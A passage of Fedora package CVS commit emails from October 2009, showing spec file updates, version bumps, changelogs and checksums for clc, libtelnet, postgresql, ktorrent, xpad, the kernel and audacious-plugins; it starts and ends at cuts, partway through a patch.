	.cvsignore clc.spec sources 
Log Message:
clc 0.02


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/clc/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	25 Sep 2009 01:08:32 -0000	1.2
+++ .cvsignore	24 Oct 2009 20:11:10 -0000	1.3
@@ -1 +1 @@
-clc-0.01.tar.gz
+clc-0.02.tar.gz


Index: clc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clc/devel/clc.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- clc.spec	25 Sep 2009 01:08:32 -0000	1.1
+++ clc.spec	24 Oct 2009 20:11:11 -0000	1.2
@@ -1,6 +1,6 @@
 Name:		clc
-Version:	0.01
-Release:	4%{?dist}
+Version:	0.02
+Release:	1%{?dist}
 Summary:	Command-line client for MUDs
 
 Group:		Applications/Internet
@@ -9,7 +9,7 @@ URL:		http://github.com/elanthis/clc/tre
 Source0:	http://cloud.github.com/downloads/elanthis/clc/%{name}-%{version}.tar.gz
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: libtelnet-devel
+BuildRequires: libtelnet-devel = 0.12
 BuildRequires: ncurses-devel
 BuildRequires: zlib-devel
 
@@ -36,6 +36,10 @@ rm -rf "%{buildroot}"
 %{_bindir}/clc
 
 %changelog
+* Wed Sep 29 2009 Sean Middleditch <sean at middleditch.us> 0.02-1
+- Update to upstream 0.02 release.
+- Explicit version dependency for libtelnet due to unstable API/ABI.
+
 * Wed Sep 12 2009 Sean Middleditch <sean at middleditch.us> 0.01-4
 - Rebuild with the proper tarball.
 - Included RPM optflags in build.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/clc/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	25 Sep 2009 01:08:32 -0000	1.2
+++ sources	24 Oct 2009 20:11:11 -0000	1.3
@@ -1 +1 @@
-b6043dececbaa61e8a3b26a2bda33d38  clc-0.01.tar.gz
+8bb3c5781cb750feedbfcf23af582e58  clc-0.02.tar.gz



From elanthis at fedoraproject.org  Sat Oct 24 20:20:42 2009
From: elanthis at fedoraproject.org (Sean Middleditch)
Date: Sat, 24 Oct 2009 20:20:42 +0000 (UTC)
Subject: rpms/libtelnet/F-12 .cvsignore, 1.2, 1.3 libtelnet.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091024202043.1B1BA11C02A2@cvs1.fedora.phx.redhat.com>

Author: elanthis

Update of /cvs/pkgs/rpms/libtelnet/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8722

Modified Files:
	.cvsignore libtelnet.spec sources 
Log Message:
libtelnet 0.12


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libtelnet/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	8 Sep 2009 02:49:07 -0000	1.2
+++ .cvsignore	24 Oct 2009 20:20:41 -0000	1.3
@@ -1 +1 @@
-libtelnet-0.11.tar.gz
+libtelnet-0.12.tar.gz


Index: libtelnet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libtelnet/F-12/libtelnet.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libtelnet.spec	8 Sep 2009 02:49:07 -0000	1.1
+++ libtelnet.spec	24 Oct 2009 20:20:41 -0000	1.2
@@ -1,5 +1,5 @@
 Name:		libtelnet
-Version:	0.11
+Version:	0.12
 Release:	1%{?dist}
 Summary:	TELNET protocol parsing framework
 
@@ -22,6 +22,7 @@ MSSP protocols used by MUD servers and c
 Summary: Header files for libtelnet
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
+Requires: pkgconfig
 
 %description devel
 Header files for developing applications making use of libtelnet.
@@ -64,6 +65,7 @@ rm -rf "$RPM_BUILD_ROOT"
 %files devel
 %defattr(-,root,root,-)
 %{_libdir}/*.so
+%{_libdir}/pkgconfig/%{name}.pc
 %{_includedir}/*
 
 %files utils 
@@ -71,6 +73,10 @@ rm -rf "$RPM_BUILD_ROOT"
 %{_bindir}/*
 
 %changelog
+* Wed Oct 24 2009 Sean Middleditch <sean at middleditch.us> 0.12-1
+- Update to libtelnet 0.12.
+- Include libtelnet.pc in -devel package.
+
 * Wed Aug 31 2009 Sean Middleditch <sean at middleditch.us> 0.11-1
 - Update to libtelnet 0.11.
 - Add BuildRequires on zlib-devel.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libtelnet/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Sep 2009 02:49:07 -0000	1.2
+++ sources	24 Oct 2009 20:20:41 -0000	1.3
@@ -1 +1 @@
-6a0b9f6951f509ff4086b405ab112a30  libtelnet-0.11.tar.gz
+b1443bf54f0fa2c3e205bf4c2f74c9dd  libtelnet-0.12.tar.gz



From tgl at fedoraproject.org  Sat Oct 24 20:40:05 2009
From: tgl at fedoraproject.org (Tom Lane)
Date: Sat, 24 Oct 2009 20:40:05 +0000 (UTC)
Subject: rpms/postgresql/F-10 postgresql.init, 1.24, 1.25 postgresql.spec,
	1.109, 1.110
Message-ID: <20091024204005.21B9311C02A6@cvs1.fedora.phx.redhat.com>

Author: tgl

Update of /cvs/pkgs/rpms/postgresql/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15312

Modified Files:
	postgresql.init postgresql.spec 
Log Message:
Ensure pgstartup.log gets the right ownership/permissions during initdb


Index: postgresql.init
===================================================================
RCS file: /cvs/pkgs/rpms/postgresql/F-10/postgresql.init,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- postgresql.init	2 Nov 2008 18:23:29 -0000	1.24
+++ postgresql.init	24 Oct 2009 20:40:03 -0000	1.25
@@ -101,13 +101,7 @@ fi
 # Set defaults for configuration variables
 PGENGINE=/usr/bin
 PGPORT=5432
-PGDATA=/var/lib/pgsql
-if [ -f "$PGDATA/PG_VERSION" ] && [ -d "$PGDATA/base/template1" ]
-then
-	echo "Using old-style directory structure"
-else
-	PGDATA=/var/lib/pgsql/data
-fi
+PGDATA=/var/lib/pgsql/data
 PGLOG=/var/lib/pgsql/pgstartup.log
 
 # Override defaults from /etc/sysconfig/pgsql if file is present
@@ -133,7 +127,7 @@ start(){
 		touch "$PGLOG" || exit 1
 		chown postgres:postgres "$PGLOG"
 		chmod go-rwx "$PGLOG"
-		[ -x /usr/bin/chcon ] && /usr/bin/chcon -u system_u -r object_r -t postgresql_log_t "$PGLOG" 2>/dev/null
+		[ -x /sbin/restorecon ] && /sbin/restorecon "$PGLOG"
 	fi
 
 	# Check for the PGDATA structure
@@ -244,8 +238,19 @@ initdb(){
 	fi
 	# Clean up SELinux tagging for PGDATA
 	[ -x /sbin/restorecon ] && /sbin/restorecon "$PGDATA"
+
+	# Make sure the startup-time log file is OK, too
+	if [ ! -e "$PGLOG" -a ! -h "$PGLOG" ]
+	then
+		touch "$PGLOG" || exit 1
+		chown postgres:postgres "$PGLOG"
+		chmod go-rwx "$PGLOG"
+		[ -x /sbin/restorecon ] && /sbin/restorecon "$PGLOG"
+	fi
+
 	# Initialize the database
 	$SU -l postgres -c "$PGENGINE/initdb --pgdata='$PGDATA' --auth='ident sameuser'" >> "$PGLOG" 2>&1 < /dev/null
+
 	# Create directory for postmaster log
 	mkdir "$PGDATA/pg_log"
 	chown postgres:postgres "$PGDATA/pg_log"


Index: postgresql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/postgresql/F-10/postgresql.spec,v
retrieving revision 1.109
retrieving revision 1.110
diff -u -p -r1.109 -r1.110
--- postgresql.spec	9 Sep 2009 16:48:37 -0000	1.109
+++ postgresql.spec	24 Oct 2009 20:40:04 -0000	1.110
@@ -84,7 +84,7 @@
 Summary: PostgreSQL client programs and libraries
 Name: postgresql
 Version: 8.3.8
-Release: 1%{?dist}
+Release: 2%{?dist}
 # PG considers their license to be simplified BSD, but it's more nearly MIT
 License: MIT
 Group: Applications/Databases
@@ -872,6 +872,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Sat Oct 24 2009 Tom Lane <tgl at redhat.com> 8.3.8-2
+- Ensure pgstartup.log gets the right ownership/permissions during initdb
+Related: #498959
+
 * Wed Sep  9 2009 Tom Lane <tgl at redhat.com> 8.3.8-1
 - Update to PostgreSQL 8.3.8, for various fixes described at
   http://www.postgresql.org/docs/8.3/static/release-8-3-8.html



From rdieter at fedoraproject.org  Sat Oct 24 20:49:07 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 24 Oct 2009 20:49:07 +0000 (UTC)
Subject: rpms/ktorrent/F-11 .cvsignore, 1.33, 1.34 ktorrent.spec, 1.102,
	1.103 sources, 1.33, 1.34
Message-ID: <20091024204907.AF5B611C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/ktorrent/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17632

Modified Files:
	.cvsignore ktorrent.spec sources 
Log Message:
* Sat Oct 24 2009 Rex Dieter <rdieter at fedoraproject.org> - 3.2.5-1
- ktorrent-3.2.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ktorrent/F-11/.cvsignore,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- .cvsignore	27 Sep 2009 23:43:31 -0000	1.33
+++ .cvsignore	24 Oct 2009 20:49:07 -0000	1.34
@@ -1 +1 @@
-ktorrent-3.2.4.tar.bz2
+ktorrent-3.2.5.tar.bz2


Index: ktorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ktorrent/F-11/ktorrent.spec,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- ktorrent.spec	27 Sep 2009 23:47:02 -0000	1.102
+++ ktorrent.spec	24 Oct 2009 20:49:07 -0000	1.103
@@ -2,7 +2,7 @@
 # Fedora pkg review: http://bugzilla.redhat.com/187818
 
 Name:           ktorrent
-Version:        3.2.4
+Version:        3.2.5
 Release:        1%{?dist}
 Summary:        A BitTorrent program
 Group:          Applications/Internet
@@ -157,6 +157,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 24 2009 Rex Dieter <rdieter at fedoraproject.org> - 3.2.5-1
+- ktorrent-3.2.5
+
 * Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 3.2.4-1
 - ktorrent-3.2.4
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ktorrent/F-11/sources,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- sources	27 Sep 2009 23:43:32 -0000	1.33
+++ sources	24 Oct 2009 20:49:07 -0000	1.34
@@ -1 +1 @@
-e3c595c9ac667985764058902a1489ea  ktorrent-3.2.4.tar.bz2
+0b0c3ebd2e0125ef65dbf67a584d1295  ktorrent-3.2.5.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 24 20:50:12 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 24 Oct 2009 20:50:12 +0000 (UTC)
Subject: rpms/ktorrent/F-10 .cvsignore, 1.32, 1.33 ktorrent.spec, 1.92,
	1.93 sources, 1.32, 1.33
Message-ID: <20091024205014.3A05011C02A2@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/ktorrent/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18089

Modified Files:
	.cvsignore ktorrent.spec sources 
Log Message:
* Sat Oct 24 2009 Rex Dieter <rdieter at fedoraproject.org> - 3.2.5-1
- ktorrent-3.2.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ktorrent/F-10/.cvsignore,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- .cvsignore	27 Sep 2009 23:49:09 -0000	1.32
+++ .cvsignore	24 Oct 2009 20:50:10 -0000	1.33
@@ -1 +1 @@
-ktorrent-3.2.4.tar.bz2
+ktorrent-3.2.5.tar.bz2


Index: ktorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ktorrent/F-10/ktorrent.spec,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- ktorrent.spec	27 Sep 2009 23:49:09 -0000	1.92
+++ ktorrent.spec	24 Oct 2009 20:50:11 -0000	1.93
@@ -2,7 +2,7 @@
 # Fedora pkg review: http://bugzilla.redhat.com/187818
 
 Name:           ktorrent
-Version:        3.2.4
+Version:        3.2.5
 Release:        1%{?dist}
 Summary:        A BitTorrent program
 Group:          Applications/Internet
@@ -157,6 +157,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 24 2009 Rex Dieter <rdieter at fedoraproject.org> - 3.2.5-1
+- ktorrent-3.2.5
+
 * Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 3.2.4-1
 - ktorrent-3.2.4
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ktorrent/F-10/sources,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- sources	27 Sep 2009 23:49:09 -0000	1.32
+++ sources	24 Oct 2009 20:50:12 -0000	1.33
@@ -1 +1 @@
-e3c595c9ac667985764058902a1489ea  ktorrent-3.2.4.tar.bz2
+0b0c3ebd2e0125ef65dbf67a584d1295  ktorrent-3.2.5.tar.bz2



From elanthis at fedoraproject.org  Sat Oct 24 21:19:02 2009
From: elanthis at fedoraproject.org (Sean Middleditch)
Date: Sat, 24 Oct 2009 21:19:02 +0000 (UTC)
Subject: rpms/clc/F-12 .cvsignore,1.2,1.3 clc.spec,1.1,1.2 sources,1.2,1.3
Message-ID: <20091024211902.57A9511C00E5@cvs1.fedora.phx.redhat.com>

Author: elanthis

Update of /cvs/pkgs/rpms/clc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29273

Modified Files:
	.cvsignore clc.spec sources 
Log Message:
clc 0.02


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/clc/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	25 Sep 2009 01:34:57 -0000	1.2
+++ .cvsignore	24 Oct 2009 21:19:02 -0000	1.3
@@ -1 +1 @@
-clc-0.01.tar.gz
+clc-0.02.tar.gz


Index: clc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clc/F-12/clc.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- clc.spec	25 Sep 2009 01:34:57 -0000	1.1
+++ clc.spec	24 Oct 2009 21:19:02 -0000	1.2
@@ -1,6 +1,6 @@
 Name:		clc
-Version:	0.01
-Release:	4%{?dist}
+Version:	0.02
+Release:	1%{?dist}
 Summary:	Command-line client for MUDs
 
 Group:		Applications/Internet
@@ -9,7 +9,7 @@ URL:		http://github.com/elanthis/clc/tre
 Source0:	http://cloud.github.com/downloads/elanthis/clc/%{name}-%{version}.tar.gz
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: libtelnet-devel
+BuildRequires: libtelnet-devel = 0.12
 BuildRequires: ncurses-devel
 BuildRequires: zlib-devel
 
@@ -36,6 +36,10 @@ rm -rf "%{buildroot}"
 %{_bindir}/clc
 
 %changelog
+* Wed Sep 29 2009 Sean Middleditch <sean at middleditch.us> 0.02-1
+- Update to upstream 0.02 release.
+- Explicit version dependency for libtelnet due to unstable API/ABI.
+
 * Wed Sep 12 2009 Sean Middleditch <sean at middleditch.us> 0.01-4
 - Rebuild with the proper tarball.
 - Included RPM optflags in build.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/clc/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	25 Sep 2009 01:34:57 -0000	1.2
+++ sources	24 Oct 2009 21:19:02 -0000	1.3
@@ -1 +1 @@
-b6043dececbaa61e8a3b26a2bda33d38  clc-0.01.tar.gz
+8bb3c5781cb750feedbfcf23af582e58  clc-0.02.tar.gz



From cwickert at fedoraproject.org  Sat Oct 24 21:40:29 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 24 Oct 2009 21:40:29 +0000 (UTC)
Subject: rpms/xpad/devel xpad.spec,1.8,1.9
Message-ID: <20091024214029.5C65C11C02A6@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xpad/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3759/d

Modified Files:
	xpad.spec 
Log Message:
* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.0-5
- Remove autostart again. Doesn't work properly and is annoying on Live CDs
- Spec file clean-ups



Index: xpad.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xpad/devel/xpad.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- xpad.spec	27 Jul 2009 08:41:15 -0000	1.8
+++ xpad.spec	24 Oct 2009 21:40:28 -0000	1.9
@@ -1,6 +1,6 @@
 Name:		xpad
 Version:	4.0
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	Sticky notepad for GTK+2
 
 Group:		User Interface/Desktops
@@ -12,12 +12,10 @@ BuildRoot:	%{_tmppath}/%{name}-%{version
 BuildRequires:	gtk2-devel libSM-devel gettext desktop-file-utils intltool
 
 %description
-Xpad is a sticky note application written using GTK+ 2.0 
-that strives to be simple, fault-tolerant, and customizable. 
-Xpad consists of independent pad windows; each is basically 
-a text box in which notes can be written. Despite being 
-called xpad, all that is needed to run or compile it is 
-the GTK+ 2.0 libraries.
+Xpad is a sticky note application that strives to be simple, fault-tolerant, 
+and customizable. It consists of independent pad windows; each is basically a 
+text box in which notes can be written. Despite being called xpad, all that is
+needed to run or compile it is the GTK+ 2.0 libraries.
 
 %prep
 %setup -q
@@ -26,12 +24,12 @@ the GTK+ 2.0 libraries.
 %build
 %configure
 
-make %{?_smp_mflags} CFLAGS="%{optflags}"
+make %{?_smp_mflags}
 
 
 %install
 rm -rf %{buildroot}
-make install DESTDIR=%{buildroot}
+make install DESTDIR=%{buildroot} INSTALL='install -p'
 
 # desktop file stuff
 desktop-file-install --vendor="fedora" \
@@ -39,14 +37,6 @@ desktop-file-install --vendor="fedora" \
 	--dir=%{buildroot}/%{_datadir}/applications \
 	%{buildroot}/%{_datadir}/applications/%{name}.desktop
 
-# additional autostart file
-mkdir -p %{buildroot}%{_sysconfdir}/xdg/autostart
-desktop-file-install \
-	--add-category=GTK \
-	--dir=%{buildroot}/%{_sysconfdir}/xdg/autostart \
-	%{name}.desktop
-
-
 %find_lang %{name}
 
 
@@ -76,9 +66,12 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/fedora-%{name}.desktop
 %{_datadir}/icons/hicolor/scalable/apps/%{name}.svg
 %{_mandir}/man1/%{name}.1*
-%{_sysconfdir}/xdg/autostart/%{name}.desktop
 
 %changelog
+* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.0-5
+- Remove autostart again. Doesn't work properly and is annoying on Live CDs
+- Spec file clean-ups
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From cwickert at fedoraproject.org  Sat Oct 24 21:40:29 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 24 Oct 2009 21:40:29 +0000 (UTC)
Subject: rpms/xpad/F-12 xpad.spec,1.8,1.9
Message-ID: <20091024214029.82FF211C043A@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xpad/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3759/F-12

Modified Files:
	xpad.spec 
Log Message:
* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.0-5
- Remove autostart again. Doesn't work properly and is annoying on Live CDs
- Spec file clean-ups



Index: xpad.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xpad/F-12/xpad.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- xpad.spec	27 Jul 2009 08:41:15 -0000	1.8
+++ xpad.spec	24 Oct 2009 21:40:29 -0000	1.9
@@ -1,6 +1,6 @@
 Name:		xpad
 Version:	4.0
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	Sticky notepad for GTK+2
 
 Group:		User Interface/Desktops
@@ -12,12 +12,10 @@ BuildRoot:	%{_tmppath}/%{name}-%{version
 BuildRequires:	gtk2-devel libSM-devel gettext desktop-file-utils intltool
 
 %description
-Xpad is a sticky note application written using GTK+ 2.0 
-that strives to be simple, fault-tolerant, and customizable. 
-Xpad consists of independent pad windows; each is basically 
-a text box in which notes can be written. Despite being 
-called xpad, all that is needed to run or compile it is 
-the GTK+ 2.0 libraries.
+Xpad is a sticky note application that strives to be simple, fault-tolerant, 
+and customizable. It consists of independent pad windows; each is basically a 
+text box in which notes can be written. Despite being called xpad, all that is
+needed to run or compile it is the GTK+ 2.0 libraries.
 
 %prep
 %setup -q
@@ -26,12 +24,12 @@ the GTK+ 2.0 libraries.
 %build
 %configure
 
-make %{?_smp_mflags} CFLAGS="%{optflags}"
+make %{?_smp_mflags}
 
 
 %install
 rm -rf %{buildroot}
-make install DESTDIR=%{buildroot}
+make install DESTDIR=%{buildroot} INSTALL='install -p'
 
 # desktop file stuff
 desktop-file-install --vendor="fedora" \
@@ -39,14 +37,6 @@ desktop-file-install --vendor="fedora" \
 	--dir=%{buildroot}/%{_datadir}/applications \
 	%{buildroot}/%{_datadir}/applications/%{name}.desktop
 
-# additional autostart file
-mkdir -p %{buildroot}%{_sysconfdir}/xdg/autostart
-desktop-file-install \
-	--add-category=GTK \
-	--dir=%{buildroot}/%{_sysconfdir}/xdg/autostart \
-	%{name}.desktop
-
-
 %find_lang %{name}
 
 
@@ -76,9 +66,12 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/fedora-%{name}.desktop
 %{_datadir}/icons/hicolor/scalable/apps/%{name}.svg
 %{_mandir}/man1/%{name}.1*
-%{_sysconfdir}/xdg/autostart/%{name}.desktop
 
 %changelog
+* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 4.0-5
+- Remove autostart again. Doesn't work properly and is annoying on Live CDs
+- Spec file clean-ups
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From cebbert at fedoraproject.org  Sat Oct 24 22:17:57 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sat, 24 Oct 2009 22:17:57 +0000 (UTC)
Subject: rpms/kernel/devel patch-2.6.32-rc5-git3.bz2.sign, NONE,
	1.1 .cvsignore, 
	1.1137, 1.1138 kernel.spec, 1.1831, 1.1832 sources, 1.1096,
	1.1097 upstream, 1.1009,
	1.1010 linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch,
	1.1, NONE patch-2.6.32-rc5-git1.bz2.sign, 1.1, NONE
Message-ID: <20091024221757.18F4F11C00E5@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19454

Modified Files:
	.cvsignore kernel.spec sources upstream 
Added Files:
	patch-2.6.32-rc5-git3.bz2.sign 
Removed Files:
	linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch 
	patch-2.6.32-rc5-git1.bz2.sign 
Log Message:
2.6.32-rc5-git3
Drop merged patch:
  linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch


--- NEW FILE patch-2.6.32-rc5-git3.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBK4PmCyGugalF9Dw4RAr3AAJ9Lum/3l1RKwMHOaEaJ9bDuhWTr/ACfTnK5
gZwoQ1XR7ABwjWXWS+8qe0E=
=sA8r
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/.cvsignore,v
retrieving revision 1.1137
retrieving revision 1.1138
diff -u -p -r1.1137 -r1.1138
--- .cvsignore	17 Oct 2009 14:41:04 -0000	1.1137
+++ .cvsignore	24 Oct 2009 22:17:56 -0000	1.1138
@@ -6,4 +6,4 @@ temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
 patch-2.6.32-rc5.bz2
-patch-2.6.32-rc5-git1.bz2
+patch-2.6.32-rc5-git3.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1831
retrieving revision 1.1832
diff -u -p -r1.1831 -r1.1832
--- kernel.spec	17 Oct 2009 14:41:04 -0000	1.1831
+++ kernel.spec	24 Oct 2009 22:17:56 -0000	1.1832
@@ -61,7 +61,7 @@ Summary: The Linux kernel
 # The rc snapshot level
 %define rcrev 5
 # The git snapshot level
-%define gitrev 1
+%define gitrev 3
 # Set rpm version accordingly
 %define rpmversion 2.6.%{upstream_sublevel}
 %endif
@@ -665,7 +665,6 @@ Patch1517: hdpvr-ir-enable.patch
 
 # virt + ksm patches
 Patch1551: linux-2.6-ksm-kvm.patch
-Patch1579: linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch
 
 # nouveau + drm fixes
 Patch1813: drm-radeon-pm.patch
@@ -1280,7 +1279,6 @@ ApplyPatch hdpvr-ir-enable.patch
 #ApplyPatch linux-2.6-ksm-kvm.patch
 
 # Assorted Virt Fixes
-ApplyPatch linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch
 
 # Fix block I/O errors in KVM
 #ApplyPatch linux-2.6-block-silently-error-unsupported-empty-barriers-too.patch
@@ -1971,6 +1969,11 @@ fi
 # ##############################################################
 
 %changelog
+* Sat Oct 23 2009 Chuck Ebbert <cebbert at redhat.com>
+- 2.6.32-rc5-git3
+- Drop merged patch:
+  linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch
+
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.32-0.33.rc5.git1
 - 2.6.32-rc5-git1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/sources,v
retrieving revision 1.1096
retrieving revision 1.1097
diff -u -p -r1.1096 -r1.1097
--- sources	17 Oct 2009 14:41:04 -0000	1.1096
+++ sources	24 Oct 2009 22:17:56 -0000	1.1097
@@ -1,3 +1,3 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
 29cfdb080df74d97e89e27bc855b0160  patch-2.6.32-rc5.bz2
-b55842f9cb2c2470ffeaae5f66897017  patch-2.6.32-rc5-git1.bz2
+0a48014463a0ba764117200a3ae22983  patch-2.6.32-rc5-git3.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/upstream,v
retrieving revision 1.1009
retrieving revision 1.1010
diff -u -p -r1.1009 -r1.1010
--- upstream	17 Oct 2009 14:41:04 -0000	1.1009
+++ upstream	24 Oct 2009 22:17:56 -0000	1.1010
@@ -1,4 +1,4 @@
 linux-2.6.31.tar.bz2
 patch-2.6.32-rc5.bz2
-patch-2.6.32-rc5-git1.bz2
+patch-2.6.32-rc5-git3.bz2
 


--- linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch DELETED ---


--- patch-2.6.32-rc5-git1.bz2.sign DELETED ---



From mschwendt at fedoraproject.org  Sat Oct 24 22:20:55 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Sat, 24 Oct 2009 22:20:55 +0000 (UTC)
Subject: rpms/audacious-plugins/devel
	audacious-plugins-2.2-beta1-modplug.patch, NONE,
	1.1 audacious-plugins.spec, 1.55, 1.56
Message-ID: <20091024222055.9A14411C02A2@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20224

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-2.2-beta1-modplug.patch 
Log Message:
* Sun Oct 25 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.2.beta1
- Patch modplug plugin to remove old cruft and fix playback.


audacious-plugins-2.2-beta1-modplug.patch:
 modplugbmp.cxx |   23 ++++++-----------------
 modplugbmp.h   |    1 -
 2 files changed, 6 insertions(+), 18 deletions(-)

--- NEW FILE audacious-plugins-2.2-beta1-modplug.patch ---
diff -Nur audacious-plugins-fedora-2.2-beta1-orig/src/modplug/modplugbmp.cxx audacious-plugins-fedora-2.2-beta1-modplug/src/modplug/modplugbmp.cxx
--- audacious-plugins-fedora-2.2-beta1-orig/src/modplug/modplugbmp.cxx	2009-10-20 23:37:24.000000000 +0200
+++ audacious-plugins-fedora-2.2-beta1-modplug/src/modplug/modplugbmp.cxx	2009-10-24 23:47:44.000000000 +0200
@@ -295,15 +295,6 @@
 		if(mStopped)
 			break;
 	
-		//wait for buffer space to free up.
-		while(((mOutPlug->buffer_free()
